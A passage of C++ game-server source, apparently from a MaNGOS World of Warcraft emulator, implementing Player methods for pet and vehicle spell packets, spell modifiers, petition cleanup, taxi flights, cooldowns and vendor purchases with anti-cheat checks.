data << uint16(pet->GetCreatureInfo()->family); // creature family (required for pet talents)
data << uint32(0);
data << uint32(charmInfo->GetState());
// action bar loop
charmInfo->BuildActionBar(&data);
size_t spellsCountPos = data.wpos();
// spells count
uint8 addlist = 0;
data << uint8(addlist); // placeholder
if (pet->IsPermanentPetFor(this))
{
// spells loop
for (PetSpellMap::const_iterator itr = pet->m_spells.begin(); itr != pet->m_spells.end(); ++itr)
{
if (itr->second.state == PETSPELL_REMOVED)
continue;
data << uint32(MAKE_UNIT_ACTION_BUTTON(itr->first,itr->second.active));
++addlist;
}
}
data.put<uint8>(spellsCountPos, addlist);
uint8 cooldownsCount = pet->m_CreatureSpellCooldowns.size() + pet->m_CreatureCategoryCooldowns.size();
data << uint8(cooldownsCount);
time_t curTime = time(NULL);
for(CreatureSpellCooldowns::const_iterator itr = pet->m_CreatureSpellCooldowns.begin(); itr != pet->m_CreatureSpellCooldowns.end(); ++itr)
{
time_t cooldown = (itr->second > curTime) ? (itr->second - curTime) * IN_MILLISECONDS : 0;
data << uint32(itr->first); // spellid
data << uint16(0); // spell category?
data << uint32(cooldown); // cooldown
data << uint32(0); // category cooldown
}
for(CreatureSpellCooldowns::const_iterator itr = pet->m_CreatureCategoryCooldowns.begin(); itr != pet->m_CreatureCategoryCooldowns.end(); ++itr)
{
time_t cooldown = (itr->second > curTime) ? (itr->second - curTime) * IN_MILLISECONDS : 0;
data << uint32(itr->first); // spellid
data << uint16(0); // spell category?
data << uint32(0); // cooldown
data << uint32(cooldown); // category cooldown
}
GetSession()->SendPacket(&data);
}
void Player::SendPetGUIDs()
{
GroupPetList m_groupPets = GetPets();
WorldPacket data(SMSG_PET_GUIDS, 4+8*m_groupPets.size());
data << uint32(m_groupPets.size()); // count
if (!m_groupPets.empty())
{
for (GroupPetList::const_iterator itr = m_groupPets.begin(); itr != m_groupPets.end(); ++itr)
data << (*itr);
}
GetSession()->SendPacket(&data);
}
void Player::PossessSpellInitialize()
{
Unit* charm = GetCharm();
if(!charm)
return;
CharmInfo *charmInfo = charm->GetCharmInfo();
if(!charmInfo)
{
sLog.outError("Player::PossessSpellInitialize(): charm (GUID: %u TypeId: %u) has no charminfo!", charm->GetGUIDLow(),charm->GetTypeId());
return;
}
WorldPacket data(SMSG_PET_SPELLS, 8+2+4+4+4*MAX_UNIT_ACTION_BAR_INDEX+1+1);
data << charm->GetObjectGuid();
data << uint16(charm->GetObjectGuid().IsAnyTypeCreature() ? ((Creature*)charm)->GetCreatureInfo()->family : 0);
data << uint32(0);
data << uint32(charmInfo->GetState());
charmInfo->BuildActionBar(&data);
data << uint8(0); // spells count
data << uint8(0); // cooldowns count
GetSession()->SendPacket(&data);
}
void Player::VehicleSpellInitialize()
{
Creature* charm = (Creature*)GetCharm();
if (!charm)
return;
CharmInfo *charmInfo = charm->GetCharmInfo();
if (!charmInfo)
{
sLog.outError("Player::VehicleSpellInitialize(): vehicle (GUID: %u) has no charminfo!", charm->GetGUIDLow());
return;
}
size_t cooldownsCount = charm->m_CreatureSpellCooldowns.size() + charm->m_CreatureCategoryCooldowns.size();
WorldPacket data(SMSG_PET_SPELLS, 8+2+4+4+4*MAX_UNIT_ACTION_BAR_INDEX+1+1+cooldownsCount*(4+2+4+4));
data << charm->GetObjectGuid();
data << uint16(((Creature*)charm)->GetCreatureInfo()->family);
data << uint32(0);
data << uint32(charmInfo->GetState());
charmInfo->BuildActionBar(&data);
data << uint8(0); // additional spells count
data << uint8(cooldownsCount);
time_t curTime = time(NULL);
for (CreatureSpellCooldowns::const_iterator itr = charm->m_CreatureSpellCooldowns.begin(); itr != charm->m_CreatureSpellCooldowns.end(); ++itr)
{
time_t cooldown = (itr->second > curTime) ? (itr->second - curTime) * IN_MILLISECONDS : 0;
data << uint32(itr->first); // spellid
data << uint16(0); // spell category?
data << uint32(cooldown); // cooldown
data << uint32(0); // category cooldown
}
for (CreatureSpellCooldowns::const_iterator itr = charm->m_CreatureCategoryCooldowns.begin(); itr != charm->m_CreatureCategoryCooldowns.end(); ++itr)
{
time_t cooldown = (itr->second > curTime) ? (itr->second - curTime) * IN_MILLISECONDS : 0;
data << uint32(itr->first); // spellid
data << uint16(0); // spell category?
data << uint32(0); // cooldown
data << uint32(cooldown); // category cooldown
}
GetSession()->SendPacket(&data);
}
void Player::CharmSpellInitialize()
{
Unit* charm = GetCharm();
if(!charm)
return;
CharmInfo *charmInfo = charm->GetCharmInfo();
if(!charmInfo)
{
sLog.outError("Player::CharmSpellInitialize(): the player's charm (GUID: %u TypeId: %u) has no charminfo!", charm->GetGUIDLow(),charm->GetTypeId());
return;
}
uint8 addlist = 0;
if (charm->GetTypeId() != TYPEID_PLAYER)
{
CreatureInfo const *cinfo = ((Creature*)charm)->GetCreatureInfo();
if (cinfo && cinfo->type == CREATURE_TYPE_DEMON && getClass() == CLASS_WARLOCK)
{
for(uint32 i = 0; i < CREATURE_MAX_SPELLS; ++i)
{
if (charmInfo->GetCharmSpell(i)->GetAction())
++addlist;
}
}
}
WorldPacket data(SMSG_PET_SPELLS, 8+2+4+4+4*MAX_UNIT_ACTION_BAR_INDEX+1+4*addlist+1);
data << charm->GetObjectGuid();
data << uint16(charm->GetObjectGuid().IsAnyTypeCreature() ? ((Creature*)charm)->GetCreatureInfo()->family : 0);
data << uint32(0);
data << uint32(charmInfo->GetState());
charmInfo->BuildActionBar(&data);
data << uint8(addlist);
if (addlist)
{
for(uint32 i = 0; i < CREATURE_MAX_SPELLS; ++i)
{
CharmSpellEntry *cspell = charmInfo->GetCharmSpell(i);
if (cspell->GetAction())
data << uint32(cspell->packedData);
}
}
data << uint8(0); // cooldowns count
GetSession()->SendPacket(&data);
}
void Player::RemovePetActionBar()
{
WorldPacket data(SMSG_PET_SPELLS, 8);
data << ObjectGuid();
SendDirectMessage(&data);
}
void Player::AddSpellMod(Aura* aura, bool apply)
{
Modifier const* mod = aura->GetModifier();
uint16 Opcode= (mod->m_auraname == SPELL_AURA_ADD_FLAT_MODIFIER) ? SMSG_SET_FLAT_SPELL_MODIFIER : SMSG_SET_PCT_SPELL_MODIFIER;
for(int eff = 0; eff < 96; ++eff)
{
if (aura->GetAuraSpellClassMask().test(eff))
{
int32 val = 0;
for (AuraList::const_iterator itr = m_spellMods[mod->m_miscvalue].begin(); itr != m_spellMods[mod->m_miscvalue].end(); ++itr)
{
if ((*itr)->GetModifier()->m_auraname == mod->m_auraname && ((*itr)->GetAuraSpellClassMask().test(eff)))
val += (*itr)->GetModifier()->m_amount;
}
val += apply ? mod->m_amount : -(mod->m_amount);
WorldPacket data(Opcode, (1+1+4));
data << uint8(eff);
data << uint8(mod->m_miscvalue);
data << int32(val);
SendDirectMessage(&data);
}
}
if (apply)
m_spellMods[mod->m_miscvalue].push_back(aura);
else
m_spellMods[mod->m_miscvalue].remove(aura);
}
template <class T> T Player::ApplySpellMod(uint32 spellId, SpellModOp op, T &basevalue, Spell const* spell)
{
SpellEntry const* spellInfo = sSpellStore.LookupEntry(spellId);
if (!spellInfo)
return 0;
int32 totalpct = 0;
int32 totalflat = 0;
for (AuraList::iterator itr = m_spellMods[op].begin(); itr != m_spellMods[op].end(); ++itr)
{
Aura *aura = *itr;
Modifier const* mod = aura->GetModifier();
if (!aura->isAffectedOnSpell(spellInfo))
continue;
if (mod->m_auraname == SPELL_AURA_ADD_FLAT_MODIFIER)
totalflat += mod->m_amount;
else
{
// skip percent mods for null basevalue (most important for spell mods with charges )
if (basevalue == T(0))
continue;
// special case (skip >10sec spell casts for instant cast setting)
if (mod->m_miscvalue == SPELLMOD_CASTING_TIME
&& basevalue >= T(10*IN_MILLISECONDS) && mod->m_amount <= -100)
continue;
totalpct += mod->m_amount;
}
}
float diff = (float)basevalue*(float)totalpct/100.0f + (float)totalflat;
basevalue = T((float)basevalue + diff);
return T(diff);
}
template int32 Player::ApplySpellMod<int32>(uint32 spellId, SpellModOp op, int32 &basevalue, Spell const* spell);
template uint32 Player::ApplySpellMod<uint32>(uint32 spellId, SpellModOp op, uint32 &basevalue, Spell const* spell);
template float Player::ApplySpellMod<float>(uint32 spellId, SpellModOp op, float &basevalue, Spell const* spell);
// send Proficiency
void Player::SendProficiency(ItemClass itemClass, uint32 itemSubclassMask)
{
WorldPacket data(SMSG_SET_PROFICIENCY, 1 + 4);
data << uint8(itemClass) << uint32(itemSubclassMask);
GetSession()->SendPacket (&data);
}
void Player::RemovePetitionsAndSigns(ObjectGuid guid, uint32 type)
{
uint32 lowguid = guid.GetCounter();
QueryResult *result = NULL;
if (type == 10)
result = CharacterDatabase.PQuery("SELECT ownerguid,petitionguid FROM petition_sign WHERE playerguid = '%u'", lowguid);
else
result = CharacterDatabase.PQuery("SELECT ownerguid,petitionguid FROM petition_sign WHERE playerguid = '%u' AND type = '%u'", lowguid, type);
if (result)
{
do // this part effectively does nothing, since the deletion / modification only takes place _after_ the PetitionQuery. Though I don't know if the result remains intact if I execute the delete query beforehand.
{ // and SendPetitionQueryOpcode reads data from the DB
Field *fields = result->Fetch();
ObjectGuid ownerguid = ObjectGuid(HIGHGUID_PLAYER, fields[0].GetUInt32());
ObjectGuid petitionguid = ObjectGuid(HIGHGUID_ITEM, fields[1].GetUInt32());
// send update if charter owner in game
Player* owner = sObjectMgr.GetPlayer(ownerguid);
if (owner)
owner->GetSession()->SendPetitionQueryOpcode(petitionguid);
} while ( result->NextRow() );
delete result;
if (type==10)
CharacterDatabase.PExecute("DELETE FROM petition_sign WHERE playerguid = '%u'", lowguid);
else
CharacterDatabase.PExecute("DELETE FROM petition_sign WHERE playerguid = '%u' AND type = '%u'", lowguid, type);
}
CharacterDatabase.BeginTransaction();
if (type == 10)
{
CharacterDatabase.PExecute("DELETE FROM petition WHERE ownerguid = '%u'", lowguid);
CharacterDatabase.PExecute("DELETE FROM petition_sign WHERE ownerguid = '%u'", lowguid);
}
else
{
CharacterDatabase.PExecute("DELETE FROM petition WHERE ownerguid = '%u' AND type = '%u'", lowguid, type);
CharacterDatabase.PExecute("DELETE FROM petition_sign WHERE ownerguid = '%u' AND type = '%u'", lowguid, type);
}
CharacterDatabase.CommitTransaction();
}
void Player::LeaveAllArenaTeams(ObjectGuid guid)
{
uint32 lowguid = guid.GetCounter();
QueryResult *result = CharacterDatabase.PQuery("SELECT arena_team_member.arenateamid FROM arena_team_member JOIN arena_team ON arena_team_member.arenateamid = arena_team.arenateamid WHERE guid='%u'", lowguid);
if (!result)
return;
do
{
Field *fields = result->Fetch();
if (uint32 at_id = fields[0].GetUInt32())
if (ArenaTeam * at = sObjectMgr.GetArenaTeamById(at_id))
at->DelMember(guid);
} while (result->NextRow());
delete result;
}
void Player::SetRestBonus (float rest_bonus_new)
{
// Prevent resting on max level
if (getLevel() >= sWorld.getConfig(CONFIG_UINT32_MAX_PLAYER_LEVEL))
rest_bonus_new = 0;
if (rest_bonus_new < 0)
rest_bonus_new = 0;
float rest_bonus_max = (float)GetUInt32Value(PLAYER_NEXT_LEVEL_XP)*1.5f/2.0f;
if (rest_bonus_new > rest_bonus_max)
m_rest_bonus = rest_bonus_max;
else
m_rest_bonus = rest_bonus_new;
// update data for client
if (GetAccountLinkedState() != STATE_NOT_LINKED)
SetByteValue(PLAYER_BYTES_2, 3, 0x06); // Set Reststate = Refer-A-Friend
else
{
if (m_rest_bonus>10)
SetByteValue(PLAYER_BYTES_2, 3, 0x01); // Set Reststate = Rested
else if (m_rest_bonus<=1)
SetByteValue(PLAYER_BYTES_2, 3, 0x02); // Set Reststate = Normal
}
//RestTickUpdate
SetUInt32Value(PLAYER_REST_STATE_EXPERIENCE, uint32(m_rest_bonus));
}
void Player::HandleStealthedUnitsDetection()
{
std::list<Unit*> stealthedUnits;
MaNGOS::AnyStealthedCheck u_check(this);
MaNGOS::UnitListSearcher<MaNGOS::AnyStealthedCheck > searcher(stealthedUnits, u_check);
Cell::VisitAllObjects(this, searcher, MAX_PLAYER_STEALTH_DETECT_RANGE);
WorldObject const* viewPoint = GetCamera().GetBody();
for (std::list<Unit*>::const_iterator i = stealthedUnits.begin(); i != stealthedUnits.end(); ++i)
{
if((*i)==this)
continue;
bool hasAtClient = HaveAtClient((*i));
bool hasDetected = (*i)->isVisibleForOrDetect(this, viewPoint, true);
if (hasDetected)
{
if(!hasAtClient)
{
ObjectGuid i_guid = (*i)->GetObjectGuid();
(*i)->SendCreateUpdateToPlayer(this);
m_clientGUIDs.insert(i_guid);
DEBUG_FILTER_LOG(LOG_FILTER_VISIBILITY_CHANGES, "%s is detected in stealth by player %u. Distance = %f",i_guid.GetString().c_str(),GetGUIDLow(),GetDistance(*i));
// target aura duration for caster show only if target exist at caster client
// send data at target visibility change (adding to client)
if((*i)!=this && (*i)->isType(TYPEMASK_UNIT))
SendAurasForTarget(*i);
}
}
else
{
if (hasAtClient)
{
(*i)->DestroyForPlayer(this);
m_clientGUIDs.erase((*i)->GetObjectGuid());
}
}
}
}
bool Player::ActivateTaxiPathTo(std::vector<uint32> const& nodes, Creature* npc /*= NULL*/, uint32 spellid /*= 0*/)
{
if (nodes.size() < 2)
return false;
// not let cheating with start flight in time of logout process || if casting not finished || while in combat || if not use Spell's with EffectSendTaxi
if (GetSession()->isLogingOut() || isInCombat())
{
WorldPacket data(SMSG_ACTIVATETAXIREPLY, 4);
data << uint32(ERR_TAXIPLAYERBUSY);
GetSession()->SendPacket(&data);
return false;
}
if (HasFlag(UNIT_FIELD_FLAGS, UNIT_FLAG_DISABLE_MOVE))
return false;
// taximaster case
if (npc)
{
// not let cheating with start flight mounted
if (IsMounted() || GetVehicle())
{
WorldPacket data(SMSG_ACTIVATETAXIREPLY, 4);
data << uint32(ERR_TAXIPLAYERALREADYMOUNTED);
GetSession()->SendPacket(&data);
return false;
}
if (IsInDisallowedMountForm())
{
WorldPacket data(SMSG_ACTIVATETAXIREPLY, 4);
data << uint32(ERR_TAXIPLAYERSHAPESHIFTED);
GetSession()->SendPacket(&data);
return false;
}
// not let cheating with start flight in time of logout process || if casting not finished || while in combat || if not use Spell's with EffectSendTaxi
if (IsNonMeleeSpellCasted(false))
{
WorldPacket data(SMSG_ACTIVATETAXIREPLY, 4);
data << uint32(ERR_TAXIPLAYERBUSY);
GetSession()->SendPacket(&data);
return false;
}
}
// cast case or scripted call case
else
{
RemoveSpellsCausingAura(SPELL_AURA_MOUNTED);
ExitVehicle();
if (IsInDisallowedMountForm())
RemoveSpellsCausingAura(SPELL_AURA_MOD_SHAPESHIFT);
if (Spell* spell = GetCurrentSpell(CURRENT_GENERIC_SPELL))
if (spell->m_spellInfo->Id != spellid)
InterruptSpell(CURRENT_GENERIC_SPELL,false);
InterruptSpell(CURRENT_AUTOREPEAT_SPELL,false);
if (Spell* spell = GetCurrentSpell(CURRENT_CHANNELED_SPELL))
if (spell->m_spellInfo->Id != spellid)
InterruptSpell(CURRENT_CHANNELED_SPELL,true);
}
uint32 sourcenode = nodes[0];
// starting node too far away (cheat?)
TaxiNodesEntry const* node = sTaxiNodesStore.LookupEntry(sourcenode);
if (!node)
{
WorldPacket data(SMSG_ACTIVATETAXIREPLY, 4);
data << uint32(ERR_TAXINOSUCHPATH);
GetSession()->SendPacket(&data);
return false;
}
// check node starting pos data set case if provided
if (fabs(node->x) > M_NULL_F || fabs(node->y) > M_NULL_F || fabs(node->z) > M_NULL_F)
{
if (node->map_id != GetMapId() ||
(node->x - GetPositionX())*(node->x - GetPositionX())+
(node->y - GetPositionY())*(node->y - GetPositionY())+
(node->z - GetPositionZ())*(node->z - GetPositionZ()) >
(2*INTERACTION_DISTANCE)*(2*INTERACTION_DISTANCE)*(2*INTERACTION_DISTANCE))
{
WorldPacket data(SMSG_ACTIVATETAXIREPLY, 4);
data << uint32(ERR_TAXITOOFARAWAY);
GetSession()->SendPacket(&data);
return false;
}
}
// node must have pos if taxi master case (npc != NULL)
else if (npc)
{
WorldPacket data(SMSG_ACTIVATETAXIREPLY, 4);
data << uint32(ERR_TAXIUNSPECIFIEDSERVERERROR);
GetSession()->SendPacket(&data);
return false;
}
// Prepare to flight start now
// stop combat at start taxi flight if any
CombatStop();
// stop trade (client cancel trade at taxi map open but cheating tools can be used for reopen it)
TradeCancel(true);
// clean not finished taxi path if any
m_taxi.ClearTaxiDestinations();
// 0 element current node
m_taxi.AddTaxiDestination(sourcenode);
// fill destinations path tail
uint32 sourcepath = 0;
uint32 totalcost = 0;
uint32 prevnode = sourcenode;
uint32 lastnode = 0;
for(uint32 i = 1; i < nodes.size(); ++i)
{
uint32 path, cost;
lastnode = nodes[i];
sObjectMgr.GetTaxiPath(prevnode, lastnode, path, cost);
if(!path)
{
m_taxi.ClearTaxiDestinations();
return false;
}
totalcost += cost;
if (prevnode == sourcenode)
sourcepath = path;
m_taxi.AddTaxiDestination(lastnode);
prevnode = lastnode;
}
// get mount model (in case non taximaster (npc==NULL) allow more wide lookup)
uint32 mount_display_id = sObjectMgr.GetTaxiMountDisplayId(sourcenode, GetTeam(), npc == NULL);
// in spell case allow 0 model
if ((mount_display_id == 0 && spellid == 0) || sourcepath == 0)
{
WorldPacket data(SMSG_ACTIVATETAXIREPLY, 4);
data << uint32(ERR_TAXIUNSPECIFIEDSERVERERROR);
GetSession()->SendPacket(&data);
m_taxi.ClearTaxiDestinations();
return false;
}
uint32 money = GetMoney();
if (npc)
totalcost = (uint32)ceil(totalcost*GetReputationPriceDiscount(npc));
if (money < totalcost)
{
WorldPacket data(SMSG_ACTIVATETAXIREPLY, 4);
data << uint32(ERR_TAXINOTENOUGHMONEY);
GetSession()->SendPacket(&data);
m_taxi.ClearTaxiDestinations();
return false;
}
//Checks and preparations done, DO FLIGHT
ModifyMoney(-(int32)totalcost);
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_GOLD_SPENT_FOR_TRAVELLING, totalcost);
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_FLIGHT_PATHS_TAKEN, 1);
// prevent stealth flight
RemoveSpellsCausingAura(SPELL_AURA_MOD_STEALTH);
WorldPacket data(SMSG_ACTIVATETAXIREPLY, 4);
data << uint32(ERR_TAXIOK);
GetSession()->SendPacket(&data);
DEBUG_LOG("WORLD: Sent SMSG_ACTIVATETAXIREPLY");
GetSession()->SendDoFlight(mount_display_id, sourcepath);
return true;
}
bool Player::ActivateTaxiPathTo( uint32 taxi_path_id, uint32 spellid /*= 0*/ )
{
TaxiPathEntry const* entry = sTaxiPathStore.LookupEntry(taxi_path_id);
if(!entry)
return false;
std::vector<uint32> nodes;
nodes.resize(2);
nodes[0] = entry->from;
nodes[1] = entry->to;
return ActivateTaxiPathTo(nodes,NULL,spellid);
}
void Player::ContinueTaxiFlight()
{
uint32 sourceNode = m_taxi.GetTaxiSource();
if (!sourceNode)
return;
DEBUG_LOG( "WORLD: Restart character %u taxi flight", GetGUIDLow() );
uint32 mountDisplayId = sObjectMgr.GetTaxiMountDisplayId(sourceNode, GetTeam(), true);
uint32 path = m_taxi.GetCurrentTaxiPath();
// search appropriate start path node
uint32 startNode = 0;
TaxiPathNodeList const& nodeList = sTaxiPathNodesByPath[path];
float distPrev = MAP_SIZE*MAP_SIZE;
float distNext =
(nodeList[0].x-GetPositionX())*(nodeList[0].x-GetPositionX())+
(nodeList[0].y-GetPositionY())*(nodeList[0].y-GetPositionY())+
(nodeList[0].z-GetPositionZ())*(nodeList[0].z-GetPositionZ());
for(uint32 i = 1; i < nodeList.size(); ++i)
{
TaxiPathNodeEntry const& node = nodeList[i];
TaxiPathNodeEntry const& prevNode = nodeList[i-1];
// skip nodes at another map
if (node.mapid != GetMapId())
continue;
distPrev = distNext;
distNext =
(node.x-GetPositionX())*(node.x-GetPositionX())+
(node.y-GetPositionY())*(node.y-GetPositionY())+
(node.z-GetPositionZ())*(node.z-GetPositionZ());
float distNodes =
(node.x-prevNode.x)*(node.x-prevNode.x)+
(node.y-prevNode.y)*(node.y-prevNode.y)+
(node.z-prevNode.z)*(node.z-prevNode.z);
if (distNext + distPrev < distNodes)
{
startNode = i;
break;
}
}
GetSession()->SendDoFlight(mountDisplayId, path, startNode);
}
void Player::ProhibitSpellSchool(SpellSchoolMask idSchoolMask, uint32 unTimeMs )
{
// last check 2.0.10
WorldPacket data(SMSG_SPELL_COOLDOWN, 8+1+m_spells.size()*8);
data << GetObjectGuid();
data << uint8(0x0); // flags (0x1, 0x2)
time_t curTime = time(NULL);
for(PlayerSpellMap::const_iterator itr = m_spells.begin(); itr != m_spells.end(); ++itr)
{
if (itr->second.state == PLAYERSPELL_REMOVED)
continue;
uint32 unSpellId = itr->first;
SpellEntry const *spellInfo = sSpellStore.LookupEntry(unSpellId);
if (!spellInfo)
{
MANGOS_ASSERT(spellInfo);
continue;
}
// Not send cooldown for this spells
if (spellInfo->Attributes & SPELL_ATTR_DISABLED_WHILE_ACTIVE)
continue;
if((idSchoolMask & GetSpellSchoolMask(spellInfo)) && GetSpellCooldownDelay(unSpellId) < unTimeMs )
{
data << uint32(unSpellId);
data << uint32(unTimeMs); // in m.secs
AddSpellCooldown(unSpellId, 0, curTime + unTimeMs/IN_MILLISECONDS);
}
}
GetSession()->SendPacket(&data);
}
void Player::SendModifyCooldown( uint32 spell_id, int32 delta)
{
SpellEntry const* spellInfo = sSpellStore.LookupEntry(spell_id);
if (!spellInfo)
return;
uint32 cooldown = GetSpellCooldownDelay(spell_id);
if (cooldown == 0 && delta < 0)
return;
int32 result = int32(cooldown * IN_MILLISECONDS + delta);
if (result < 0)
result = 0;
AddSpellCooldown(spell_id, 0, uint32(time(NULL) + int32(result / IN_MILLISECONDS)));
WorldPacket data(SMSG_MODIFY_COOLDOWN, 4 + 8 + 4);
data << uint32(spell_id);
data << GetObjectGuid();
data << int32(result > 0 ? delta : result - cooldown * IN_MILLISECONDS);
GetSession()->SendPacket(&data);
}
void Player::InitDataForForm(bool reapplyMods)
{
ShapeshiftForm form = GetShapeshiftForm();
SpellShapeshiftFormEntry const* ssEntry = sSpellShapeshiftFormStore.LookupEntry(form);
if (ssEntry && ssEntry->attackSpeed)
{
SetAttackTime(BASE_ATTACK,ssEntry->attackSpeed);
SetAttackTime(OFF_ATTACK,ssEntry->attackSpeed);
SetAttackTime(RANGED_ATTACK, BASE_ATTACK_TIME);
}
else
SetRegularAttackTime();
switch(form)
{
case FORM_CAT:
{
if (getPowerType()!=POWER_ENERGY)
setPowerType(POWER_ENERGY);
break;
}
case FORM_BEAR:
case FORM_DIREBEAR:
{
if (getPowerType()!=POWER_RAGE)
setPowerType(POWER_RAGE);
break;
}
default: // 0, for example
{
ChrClassesEntry const* cEntry = sChrClassesStore.LookupEntry(getClass());
if (cEntry && cEntry->powerType < MAX_POWERS && uint32(getPowerType()) != cEntry->powerType)
setPowerType(Powers(cEntry->powerType));
break;
}
}
// update auras at form change, ignore this at mods reapply (.reset stats/etc) when form not change.
if (!reapplyMods)
UpdateEquipSpellsAtFormChange();
UpdateAttackPowerAndDamage();
UpdateAttackPowerAndDamage(true);
}
void Player::InitDisplayIds()
{
PlayerInfo const *info = sObjectMgr.GetPlayerInfo(getRace(), getClass());
if(!info)
{
sLog.outError("Player %u has incorrect race/class pair. Can't init display ids.", GetGUIDLow());
return;
}
// reset scale before reapply auras
SetObjectScale(DEFAULT_OBJECT_SCALE);
uint8 gender = getGender();
switch(gender)
{
case GENDER_FEMALE:
SetDisplayId(info->displayId_f );
SetNativeDisplayId(info->displayId_f );
break;
case GENDER_MALE:
SetDisplayId(info->displayId_m );
SetNativeDisplayId(info->displayId_m );
break;
default:
sLog.outError("Invalid gender %u for player",gender);
return;
}
}
void Player::TakeExtendedCost(uint32 extendedCostId, uint32 count)
{
ItemExtendedCostEntry const* extendedCost = sItemExtendedCostStore.LookupEntry(extendedCostId);
if (extendedCost->reqhonorpoints)
ModifyHonorPoints(-int32(extendedCost->reqhonorpoints * count));
if (extendedCost->reqarenapoints)
ModifyArenaPoints(-int32(extendedCost->reqarenapoints * count));
for (uint8 i = 0; i < MAX_EXTENDED_COST_ITEMS; ++i)
{
if (extendedCost->reqitem[i])
DestroyItemCount(extendedCost->reqitem[i], extendedCost->reqitemcount[i] * count, true);
}
}
// Return true is the bought item has a max count to force refresh of window by caller
bool Player::BuyItemFromVendorSlot(ObjectGuid vendorGuid, uint32 vendorslot, uint32 item, uint8 count, uint8 bag, uint8 slot)
{
// cheating attempt
if (count < 1) count = 1;
if (!isAlive())
return false;
ItemPrototype const *pProto = ObjectMgr::GetItemPrototype(item);
if (!pProto)
{
SendBuyError(BUY_ERR_CANT_FIND_ITEM, NULL, item, 0);
return false;
}
Creature *pCreature = GetNPCIfCanInteractWith(vendorGuid, UNIT_NPC_FLAG_VENDOR);
if (!pCreature)
{
DEBUG_LOG("WORLD: BuyItemFromVendor - %s not found or you can't interact with him.", vendorGuid.GetString().c_str());
SendBuyError(BUY_ERR_DISTANCE_TOO_FAR, NULL, item, 0);
return false;
}
VendorItemData const* vItems = pCreature->GetVendorItems();
VendorItemData const* tItems = pCreature->GetVendorTemplateItems();
if ((!vItems || vItems->Empty()) && (!tItems || tItems->Empty()))
{
SendBuyError(BUY_ERR_CANT_FIND_ITEM, pCreature, item, 0);
return false;
}
uint32 vCount = vItems ? vItems->GetItemCount() : 0;
uint32 tCount = tItems ? tItems->GetItemCount() : 0;
if (vendorslot >= vCount+tCount)
{
SendBuyError(BUY_ERR_CANT_FIND_ITEM, pCreature, item, 0);
return false;
}
VendorItem const* crItem = vendorslot < vCount ? vItems->GetItem(vendorslot) : tItems->GetItem(vendorslot - vCount);
if (!crItem) // store diff item (cheating)
{
SendBuyError(BUY_ERR_CANT_FIND_ITEM, pCreature, item, 0);
return false;
}
if (crItem->item != item) // store diff item (cheating or special convert)
{
bool converted = false;
// possible item converted for BoA case
ItemPrototype const* crProto = ObjectMgr::GetItemPrototype(crItem->item);
if (crProto->Flags & ITEM_FLAG_BOA && crProto->RequiredReputationFaction &&
uint32(GetReputationRank(crProto->RequiredReputationFaction)) >= crProto->RequiredReputationRank)
converted = (sObjectMgr.GetItemConvert(crItem->item, getRaceMask()) != 0);
if (!converted)
{
SendBuyError(BUY_ERR_CANT_FIND_ITEM, pCreature, item, 0);
return false;
}
}
uint32 totalCount = pProto->BuyCount * count;
// check current item amount if it limited
if (crItem->maxcount != 0)
{
if (pCreature->GetVendorItemCurrentCount(crItem) < totalCount)
{
SendBuyError(BUY_ERR_ITEM_ALREADY_SOLD, pCreature, item, 0);
return false;
}
}
if (uint32(GetReputationRank(pProto->RequiredReputationFaction)) < pProto->RequiredReputationRank)
{
SendBuyError(BUY_ERR_REPUTATION_REQUIRE, pCreature, item, 0);
return false;
}
if (uint32 extendedCostId = crItem->ExtendedCost)
{
ItemExtendedCostEntry const* iece = sItemExtendedCostStore.LookupEntry(extendedCostId);
if (!iece)
{
sLog.outError("Item %u have wrong ExtendedCost field value %u", pProto->ItemId, extendedCostId);
return false;
}
// honor points price
if (GetHonorPoints() < (iece->reqhonorpoints * count))
{
SendEquipError(EQUIP_ERR_NOT_ENOUGH_HONOR_POINTS, NULL, NULL);
return false;
}
// arena points price
if (GetArenaPoints() < (iece->reqarenapoints * count))
{
SendEquipError(EQUIP_ERR_NOT_ENOUGH_ARENA_POINTS, NULL, NULL);
return false;
}
// item base price
for (uint8 i = 0; i < MAX_EXTENDED_COST_ITEMS; ++i)
{
if (iece->reqitem[i] && !HasItemCount(iece->reqitem[i], iece->reqitemcount[i] * count))
{
SendEquipError(EQUIP_ERR_VENDOR_MISSING_TURNINS, NULL, NULL);
return false;
}
}
// check for personal arena rating requirement
if (GetMaxPersonalArenaRatingRequirement(iece->reqarenaslot) < iece->reqpersonalarenarating)
{
// probably not the proper equip err
SendEquipError(EQUIP_ERR_CANT_EQUIP_RANK, NULL, NULL);
return false;
}
}
uint32 price = (crItem->ExtendedCost == 0 || pProto->Flags2 & ITEM_FLAG2_EXT_COST_REQUIRES_GOLD) ? pProto->BuyPrice * count : 0;
// reputation discount
if (price)
price = uint32(floor(price * GetReputationPriceDiscount(pCreature)));
if (GetMoney() < price)
{
SendBuyError(BUY_ERR_NOT_ENOUGHT_MONEY, pCreature, item, 0);
return false;
}
Item* pItem = NULL;
if ((bag == NULL_BAG && slot == NULL_SLOT) || IsInventoryPos(bag, slot))
{
ItemPosCountVec dest;
InventoryResult msg = CanStoreNewItem(bag, slot, dest, item, totalCount);
if (msg != EQUIP_ERR_OK)
{
SendEquipError(msg, NULL, NULL, item);
return false;
}
ModifyMoney(-int32(price));
if (crItem->ExtendedCost)
TakeExtendedCost(crItem->ExtendedCost, count);
pItem = StoreNewItem(dest, item, true);
}
else if (IsEquipmentPos(bag, slot))
{
if (totalCount != 1)
{
SendEquipError(EQUIP_ERR_ITEM_CANT_BE_EQUIPPED, NULL, NULL);
return false;
}
uint16 dest;
InventoryResult msg = CanEquipNewItem(slot, dest, item, false);
if (msg != EQUIP_ERR_OK)
{
SendEquipError(msg, NULL, NULL, item);
return false;
}
ModifyMoney(-int32(price));
if (crItem->ExtendedCost)
TakeExtendedCost(crItem->ExtendedCost, count);
pItem = EquipNewItem(dest, item, true);
if (pItem)
AutoUnequipOffhandIfNeed();
}
else
{
SendEquipError(EQUIP_ERR_ITEM_DOESNT_GO_TO_SLOT, NULL, NULL);
return false;
}
if (!pItem)
return false;
uint32 new_count = pCreature->UpdateVendorItemCurrentCount(crItem, totalCount);
WorldPacket data(SMSG_BUY_ITEM, 8+4+4+4);
data << pCreature->GetObjectGuid();
data << uint32(vendorslot + 1); // numbered from 1 at client
data << uint32(crItem->maxcount > 0 ? new_count : 0xFFFFFFFF);
data << uint32(count);
GetSession()->SendPacket(&data);
SendNewItem(pItem, totalCount, true, false, false);
return crItem->maxcount != 0;
}
